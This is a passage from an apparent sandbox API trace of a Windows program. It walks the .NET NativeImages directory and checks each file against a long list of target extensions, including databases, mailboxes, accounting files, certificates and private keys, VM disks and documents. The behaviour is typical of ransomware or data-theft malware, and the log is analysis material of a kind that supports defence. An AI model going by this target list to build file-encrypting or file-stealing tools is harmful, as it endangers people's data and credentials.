(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.db") returned 0 [0112.652] lstrlenA (lpString="*.db") returned 4 [0112.652] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.dbf") returned 0 [0112.652] lstrlenA (lpString="*.dbf") returned 5 [0112.652] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.myox") returned 0 [0112.652] lstrlenA (lpString="*.myox") returned 6 [0112.652] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.myo") returned 0 [0112.652] lstrlenA (lpString="*.myo") returned 5 [0112.652] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.qbw") returned 0 [0112.652] lstrlenA (lpString="*.qbw") returned 5 [0112.652] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.qbb") returned 0 [0112.652] lstrlenA (lpString="*.qbb") returned 5 [0112.652] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.qbm") returned 0 [0112.652] lstrlenA (lpString="*.qbm") returned 5 [0112.652] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.qbo") returned 0 [0112.652] lstrlenA (lpString="*.qbo") returned 5 [0112.652] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.qbx") returned 0 [0112.652] lstrlenA (lpString="*.qbx") returned 5 [0112.653] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.qba") returned 0 [0112.653] lstrlenA (lpString="*.qba") returned 5 [0112.653] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.qby") returned 0 [0112.653] lstrlenA (lpString="*.qby") returned 5 [0112.653] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.qbj") returned 0 [0112.653] lstrlenA (lpString="*.qbj") returned 5 [0112.653] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.ofx") returned 0 [0112.653] lstrlenA (lpString="*.ofx") returned 5 [0112.653] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.qif") returned 0 [0112.653] lstrlenA (lpString="*.qif") returned 5 [0112.653] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.mye") returned 0 [0112.653] lstrlenA (lpString="*.mye") returned 5 [0112.653] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.mbox") returned 0 [0112.653] lstrlenA (lpString="*.mbox") returned 6 [0112.653] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.eml") returned 0 [0112.653] lstrlenA (lpString="*.eml") returned 5 [0112.653] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.pst") returned 0 [0112.653] lstrlenA (lpString="*.pst") returned 5 [0112.653] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.ost") returned 0 [0112.653] lstrlenA (lpString="*.ost") returned 5 [0112.653] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.idx") returned 0 [0112.653] lstrlenA (lpString="*.idx") returned 5 [0112.653] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.dbx") returned 0 [0112.653] lstrlenA (lpString="*.dbx") returned 5 [0112.653] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.sql") returned 0 [0112.653] lstrlenA (lpString="*.sql") returned 5 [0112.653] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.mdb") returned 0 [0112.654] lstrlenA (lpString="*.mdb") returned 5 [0112.654] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.fdb") returned 0 [0112.654] lstrlenA (lpString="*.fdb") returned 5 [0112.654] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.wab") returned 0 [0112.654] lstrlenA (lpString="*.wab") returned 5 [0112.654] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.dat") returned 0 [0112.654] lstrlenA (lpString="*.dat") returned 5 [0112.654] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.txt") returned 0 [0112.654] lstrlenA (lpString="*.txt") returned 5 [0112.654] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.jpeg") returned 0 [0112.654] lstrlenA (lpString="*.jpeg") returned 6 [0112.654] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.jpg") returned 0 [0112.654] lstrlenA (lpString="*.jpg") returned 5 [0112.654] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.png") returned 0 [0112.654] lstrlenA (lpString="*.png") returned 5 [0112.654] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.php") returned 0 [0112.654] lstrlenA (lpString="*.php") returned 5 [0112.654] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.cs") returned 0 [0112.654] lstrlenA (lpString="*.cs") returned 4 [0112.654] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.cpp") returned 0 [0112.654] lstrlenA (lpString="*.cpp") returned 5 [0112.654] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.rar") returned 0 [0112.654] lstrlenA (lpString="*.rar") returned 5 [0112.654] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.zip") returned 0 [0112.654] lstrlenA (lpString="*.zip") returned 5 [0112.654] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.html") returned 0 [0112.654] lstrlenA (lpString="*.html") returned 6 [0112.654] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.htm") returned 0 [0112.654] lstrlenA (lpString="*.htm") returned 5 [0112.655] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.xlsx") returned 0 [0112.655] lstrlenA (lpString="*.xlsx") returned 6 [0112.655] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.xls") returned 0 [0112.655] lstrlenA (lpString="*.xls") returned 5 [0112.655] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.mp4") returned 0 [0112.655] lstrlenA (lpString="*.mp4") returned 5 [0112.655] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.ppt") returned 0 [0112.655] lstrlenA (lpString="*.ppt") returned 5 [0112.655] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.pptx") returned 0 [0112.655] lstrlenA (lpString="*.pptx") returned 6 [0112.655] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.doc") returned 0 [0112.655] lstrlenA (lpString="*.doc") returned 5 [0112.655] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.dot") returned 0 [0112.655] lstrlenA (lpString="*.dot") returned 5 [0112.655] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.docx") returned 0 [0112.655] lstrlenA (lpString="*.docx") returned 6 [0112.655] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.7z") returned 0 [0112.655] lstrlenA (lpString="*.7z") returned 4 [0112.655] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.tar") returned 0 [0112.655] lstrlenA (lpString="*.tar") returned 5 [0112.655] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.bz2") returned 0 [0112.655] lstrlenA (lpString="*.bz2") returned 5 [0112.655] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.gz") returned 0 [0112.655] lstrlenA (lpString="*.gz") returned 4 [0112.655] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.mkv") returned 0 [0112.655] lstrlenA (lpString="*.mkv") returned 5 [0112.655] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.eml") returned 0 [0112.655] lstrlenA (lpString="*.eml") returned 5 [0112.656] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.msg") returned 0 [0112.656] lstrlenA (lpString="*.msg") returned 5 [0112.656] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.edb") returned 0 [0112.656] lstrlenA (lpString="*.edb") returned 5 [0112.656] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.accdb") returned 0 [0112.656] lstrlenA (lpString="*.accdb") returned 7 [0112.656] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.odb") returned 0 [0112.656] lstrlenA (lpString="*.odb") returned 5 [0112.656] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.java") returned 0 [0112.656] lstrlenA (lpString="*.java") returned 6 [0112.656] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.asm") returned 0 [0112.656] lstrlenA (lpString="*.asm") returned 5 [0112.656] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.pfx") returned 0 [0112.656] lstrlenA (lpString="*.pfx") returned 5 [0112.656] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.pem") returned 0 [0112.656] lstrlenA (lpString="*.pem") returned 5 [0112.656] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.p12") returned 0 [0112.656] lstrlenA (lpString="*.p12") returned 5 [0112.656] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.gpg") returned 0 [0112.656] lstrlenA (lpString="*.gpg") returned 5 [0112.656] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.vsd") returned 0 [0112.656] lstrlenA (lpString="*.vsd") returned 5 [0112.656] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.odg") returned 0 [0112.656] lstrlenA (lpString="*.odg") returned 5 [0112.656] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.raw") returned 0 [0112.657] lstrlenA (lpString="*.raw") returned 5 [0112.657] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.nef") returned 0 [0112.657] lstrlenA (lpString="*.nef") returned 5 [0112.657] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.svg") returned 0 [0112.657] lstrlenA (lpString="*.svg") returned 5 [0112.657] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.psd") returned 0 [0112.657] lstrlenA (lpString="*.psd") returned 5 [0112.657] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.vmx") returned 0 [0112.657] lstrlenA (lpString="*.vmx") returned 5 [0112.657] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.vmdk") returned 0 [0112.657] lstrlenA (lpString="*.vmdk") returned 6 [0112.657] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.vdi") returned 0 [0112.657] lstrlenA (lpString="*.vdi") returned 5 [0112.657] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.lay6") returned 0 [0112.657] lstrlenA (lpString="*.lay6") returned 6 [0112.657] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.mpeg") returned 0 [0112.657] lstrlenA (lpString="*.mpeg") returned 6 [0112.657] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.djvu") returned 0 [0112.657] lstrlenA (lpString="*.djvu") returned 6 [0112.657] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.tiff") returned 0 [0112.657] lstrlenA (lpString="*.tiff") returned 6 [0112.657] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.backup") returned 0 [0112.657] lstrlenA (lpString="*.backup") returned 8 [0112.657] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.pdf") returned 0 [0112.657] lstrlenA (lpString="*.pdf") returned 5 [0112.657] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.cert") returned 0 [0112.657] lstrlenA (lpString="*.cert") returned 6 [0112.658] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.docm") returned 0 [0112.658] lstrlenA (lpString="*.docm") returned 6 [0112.658] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.xlsm") returned 0 [0112.658] lstrlenA (lpString="*.xlsm") returned 6 [0112.658] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.dwg") returned 0 [0112.658] lstrlenA (lpString="*.dwg") returned 5 [0112.658] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.nd") returned 0 [0112.658] lstrlenA (lpString="*.nd") returned 4 [0112.658] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.tlg") returned 0 [0112.658] lstrlenA (lpString="*.tlg") returned 5 [0112.658] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.lgb") returned 0 [0112.658] lstrlenA (lpString="*.lgb") returned 5 [0112.658] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.mov") returned 0 [0112.658] lstrlenA (lpString="*.mov") returned 5 [0112.658] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.xdw") returned 0 [0112.658] lstrlenA (lpString="*.xdw") returned 5 [0112.658] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.ods") returned 0 [0112.658] lstrlenA (lpString="*.ods") returned 5 [0112.658] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.wav") returned 0 [0112.658] lstrlenA (lpString="*.wav") returned 5 [0112.658] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.mp3") returned 0 [0112.658] lstrlenA (lpString="*.mp3") returned 5 [0112.658] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.aiff") returned 0 [0112.658] lstrlenA (lpString="*.aiff") returned 6 [0112.658] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.flac") returned 0 [0112.658] lstrlenA (lpString="*.flac") returned 6 [0112.658] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.m4a") returned 0 [0112.658] lstrlenA (lpString="*.m4a") returned 5 [0112.658] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.csv") returned 0 [0112.658] lstrlenA (lpString="*.csv") returned 5 [0112.659] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafb8da4a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xafb8da4a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xafb8da4a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x9ea00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.DirectoryServices.Protocols.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0112.659] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0112.659] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xafbd9d0b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xafbd9d0b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xafbd9d0b, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="e883ac4543d94e67abd1c33191633865", cAlternateFileName="E883AC~1")) returned 0 [0112.659] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0112.659] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71de98ab, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x71de98ab, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x71de98ab, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Drawing", cAlternateFileName="SYSTEM~1.DRA")) returned 1 [0112.659] lstrcmpA (lpString1=".", lpString2="System.Drawing") returned -1 [0112.659] lstrcmpA (lpString1="..", lpString2="System.Drawing") returned -1 [0112.659] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.659] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="System.Drawing" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing" [0112.659] lstrlenA 